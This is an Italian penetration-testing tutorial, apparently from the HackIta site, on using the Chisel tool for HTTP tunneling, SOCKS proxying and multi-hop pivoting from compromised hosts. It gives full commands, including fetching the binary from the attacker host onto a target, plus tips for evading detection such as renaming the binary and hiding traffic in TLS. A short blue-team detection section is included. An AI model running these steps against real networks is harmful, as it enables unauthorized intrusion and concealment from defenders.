tools

Chisel: TCP Tunneling over HTTP per Pivoting e Post-Exploitation

Chisel: TCP Tunneling over HTTP per Pivoting e Post-Exploitation

Guida pratica Chisel per tunneling e pivoting: TCP tunnel over HTTP, SOCKS proxy e port forwarding attraverso firewall. Pivoting moderno per pentest.

  • Pubblicato il 2026-02-06
  • Tempo di lettura: 5 min

Chisel: TCP Tunneling over HTTP per Pivoting e Post-Exploitation #

Chisel è un tunnel TCP/UDP veloce trasportato over HTTP, progettato per bypassare firewall e NAT restrittivi. Un singolo binario Go che funziona sia come client che server, Chisel crea tunnel SOCKS5 e port forwarding attraverso connessioni HTTP/HTTPS che sembrano traffico web legittimo. In questa guida impari a deployare Chisel per pivoting, raggiungere reti interne isolate e bypassare controlli di rete durante penetration test.

Posizione nella Kill Chain #

Chisel opera principalmente nelle fasi di pivoting e lateral movement:

FaseTool PrecedenteChiselTool Successivo
Initial AccessMetasploit shell→ Setup tunnel→ Pivoting ready
PivotingFoothold established→ SOCKS proxy→ Internal scan
Lateral MovementInternal access→ Port forwardCrackMapExec
ExfiltrationData collected→ Encrypted transfer→ C2 server

Installazione e Setup #

Download Binary Pre-compilato #

bash
# Linux
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 /usr/local/bin/chisel

# Windows (da scaricare per upload su target)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz

Compilazione da Source #

bash
git clone https://github.com/jpillora/chisel.git
cd chisel
go build -ldflags="-s -w" .

Flag -ldflags="-s -w" riduce dimensione binario rimuovendo simboli debug.

Verifica Installazione #

bash
chisel --version

Output atteso:

text
chisel version 1.9.1

Architettura Chisel #

Chisel funziona con modello client-server:

text
[Attacker] ←HTTP→ [Firewall] ←HTTP→ [Victim/Pivot]
   ↓                                      ↓
Server                               Client
(listener)                        (connector)
  • Server: gira sulla tua macchina, riceve connessioni
  • Client: gira sul target, stabilisce tunnel verso server

Il traffico passa over HTTP(S), bypassando firewall che permettono web traffic.

Uso Base #

Reverse SOCKS Proxy #

La configurazione più comune: crea proxy SOCKS5 per accedere alla rete del target.

Sulla tua macchina (server):

bash
chisel server -p 8080 --reverse

Output:

text
2024/01/15 10:30:00 server: Reverse tunnelling enabled
2024/01/15 10:30:00 server: Listening on http://0.0.0.0:8080

Sul target compromesso (client):

bash
./chisel client 192.168.1.50:8080 R:socks

Output:

text
2024/01/15 10:31:00 client: Connecting to ws://192.168.1.50:8080
2024/01/15 10:31:00 client: Connected

Ora hai SOCKS5 proxy su 127.0.0.1:1080 per accedere alla rete interna.

Usa il Proxy #

bash
# Con proxychains
proxychains nmap -sT -Pn 10.10.10.0/24

# Con curl
curl --socks5 127.0.0.1:1080 http://10.10.10.100

# Con browser
# Configura SOCKS5 proxy: 127.0.0.1:1080

Port Forward Singolo #

Forward porta specifica invece di full SOCKS:

Server: (nostro kali)

bash
chisel server -p 8080 --reverse

Client: (VM CTF,dove abbiamo un primo accesso)

bash
./chisel client 192.168.1.50:8080 R:3389:10.10.10.100:3389

Ora localhost:3389 raggiunge 10.10.10.100:3389 attraverso il pivot.

Scenari Pratici di Penetration Test #

Scenario 1: Pivoting da DMZ a Rete Interna #

Timeline stimata: 15 minuti

Hai compromesso webserver in DMZ. Devi scannerizzare rete interna 10.10.10.0/24.

bash
# COMANDO: Sulla tua macchina, avvia server
chisel server -p 443 --reverse

OUTPUT ATTESO #

text
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:443
bash
# COMANDO: Trasferisci chisel sul target
# Via web shell, curl, wget, certutil...
wget http://192.168.1.50/chisel -O /tmp/chisel
chmod +x /tmp/chisel

# COMANDO: Connetti client
/tmp/chisel client 192.168.1.50:443 R:socks

OUTPUT ATTESO #

text
client: Connecting to ws://192.168.1.50:443
client: Connected
bash
# COMANDO: Usa proxy per scan interno
proxychains -q nmap -sT -Pn -p 22,80,445,3389 10.10.10.0/24

OUTPUT ATTESO #

text
10.10.10.10 - 22/open, 445/open
10.10.10.50 - 80/open, 3389/open
10.10.10.100 - 22/open, 80/open, 445/open

COSA FARE SE FALLISCE #

  • Connection refused: Firewall blocca porta. Prova 80 o 443.
  • Timeout: Il target non raggiunge il tuo server. Verifica egress filtering.
  • Proxy lento: Aumenta timeout proxychains in /etc/proxychains.conf.

Scenario 2: Double Pivot (Multi-Hop) #

Timeline stimata: 25 minuti

Devi raggiungere rete 172.16.0.0/24 attraverso due pivot points.

text
Attacker → Pivot1 (DMZ) → Pivot2 (Internal) → Target Network
bash
# COMANDO: Server sulla tua macchina
chisel server -p 8080 --reverse

# COMANDO: Pivot1 connette e crea SOCKS
./chisel client ATTACKER:8080 R:1080:socks

# COMANDO: Attraverso SOCKS, trasferisci chisel su Pivot2
proxychains scp chisel user@10.10.10.50:/tmp/

# COMANDO: Su Pivot2, crea secondo tunnel
proxychains ssh user@10.10.10.50
/tmp/chisel client ATTACKER:8080 R:1081:socks

Ora hai:

  • localhost:1080 → rete di Pivot1
  • localhost:1081 → rete di Pivot2 (172.16.0.0/24)

Scenario 3: Port Forward per RDP/SSH #

Timeline stimata: 10 minuti

Devi accedere a RDP su host interno 10.10.10.100.

bash
# COMANDO: Server
chisel server -p 8080 --reverse

# COMANDO: Client con port forward specifico
./chisel client 192.168.1.50:8080 R:3389:10.10.10.100:3389 R:22:10.10.10.100:22
bash
# COMANDO: Connetti RDP
xfreerdp /v:127.0.0.1 /u:administrator

# COMANDO: Connetti SSH
ssh user@127.0.0.1

Scenario 4: Chisel Over HTTPS #

Timeline stimata: 20 minuti

Per traffico più stealth, usa HTTPS.

bash
# COMANDO: Genera certificato
openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt

# COMANDO: Server con TLS
chisel server -p 443 --reverse --tls-key server.key --tls-cert server.crt

# COMANDO: Client con TLS
./chisel client --tls-skip-verify https://192.168.1.50:443 R:socks

Defense Evasion #

Tecnica 1: Porta Standard HTTP/HTTPS #

bash
# Usa porta 80 o 443 per sembrare traffico web
chisel server -p 443 --reverse

Tecnica 2: Fingerprint Obfuscation #

Chisel può essere configurato per sembrare webserver legittimo:

bash
# Server con basic auth
chisel server -p 443 --reverse --auth user:password

Tecnica 3: TLS con Certificato Valido #

bash
# Usa Let's Encrypt cert
chisel server -p 443 --reverse --tls-key /etc/letsencrypt/live/domain/privkey.pem --tls-cert /etc/letsencrypt/live/domain/fullchain.pem

Traffico appare come HTTPS legittimo.

Integration Matrix #

Chisel +RisultatoComando
NmapScan rete internaproxychains nmap -sT target
CrackMapExecAD enum via pivotproxychains cme smb 10.10.10.0/24
Evil-WinRMWinRM via tunnelproxychains evil-winrm -i target
MetasploitRoute through proxysetg Proxies socks5:127.0.0.1:1080

Confronto: Chisel vs Alternative #

FeatureChiselSSH TunnelSocatLigolo
ProtocolloHTTP/WSSSHRaw TCPTUN interface
Firewall bypassEccellenteMedioBassoEccellente
SetupSempliceSempliceMedioComplesso
PerformanceAltaAltaAltaMolto Alta
SOCKS supportLimitato
Singolo binarioRichiede SSH

Quando usare Chisel: firewall permette solo HTTP/HTTPS, serve SOCKS proxy, vuoi setup rapido.

Quando usare alternative: SSH disponibile, serve TUN interface (Ligolo), o raw TCP ok.

Detection e Countermeasures #

Cosa Cerca il Blue Team #

  • Connessioni HTTP/WebSocket persistenti long-lived
  • Traffic pattern anomalo su porta 80/443
  • Processo chisel o binario sconosciuto
  • Proxy SOCKS listening su host interni

IOCs #

text
# Process
chisel client ...
chisel server ...

# Network
WebSocket upgrade su porte HTTP
Keep-alive connections prolungate

Evasion Tips #

  1. Rinomina binario: mv chisel /tmp/nginx
  2. Usa TLS: traffico criptato non ispezionabile
  3. Limita durata: chiudi tunnel quando non necessario
  4. Background quietly: nohup ./chisel client ... &>/dev/null &

Troubleshooting #

“Connection refused” #

bash
# Verifica server attivo
netstat -tulpn | grep chisel

# Verifica firewall
iptables -L -n | grep 8080

Proxychains timeout #

Modifica /etc/proxychains.conf:

text
tcp_read_time_out 30000
tcp_connect_time_out 20000

Client non si connette #

bash
# Test connettività base
curl http://server:8080

# Debug mode
chisel client --verbose server:8080 R:socks

Performance lenta #

bash
# Usa keep-alive aggressivo
chisel server -p 8080 --reverse --keepalive 10s

Cheat Sheet Comandi #

OperazioneServerClient
Reverse SOCKSchisel server -p PORT --reversechisel client SERVER:PORT R:socks
Port forwardchisel server -p PORT --reversechisel client SERVER:PORT R:LOCAL:REMOTE:RPORT
HTTPS tunnelchisel server -p 443 --tls-key k --tls-cert cchisel client https://SERVER R:socks
Con authchisel server --auth user:passchisel client --auth user:pass SERVER
SOCKS su porta customCome soprachisel client SERVER R:9999:socks
Multiple forwardsCome soprachisel client SERVER R:socks R:3389:T:3389

FAQ #

Chisel vs SSH tunnel?

Chisel bypassa firewall che bloccano SSH ma permettono HTTP. SSH è preferibile se disponibile.

Il traffico Chisel è criptato?

WebSocket è in chiaro su HTTP. Usa HTTPS per encryption.

Quanto è veloce Chisel?

Performance simile a SSH tunnel. Overhead HTTP è minimo.

Posso usare UDP?

Sì, ma richiede configurazione specifica e non tutti gli scenari lo supportano bene.

Come nascondo il binario chisel?

Rinomina, metti in directory non sospette, esegui in background senza output.

Chisel funziona su Windows?

Sì, binari Windows disponibili. Stesso syntax.

È legale usare Chisel?

Solo su reti autorizzate. Per penetration test professionali, hackita.it/servizi.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Risorse: Chisel GitHub | Chisel Wiki

#pivoting #tunneling #proxy

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.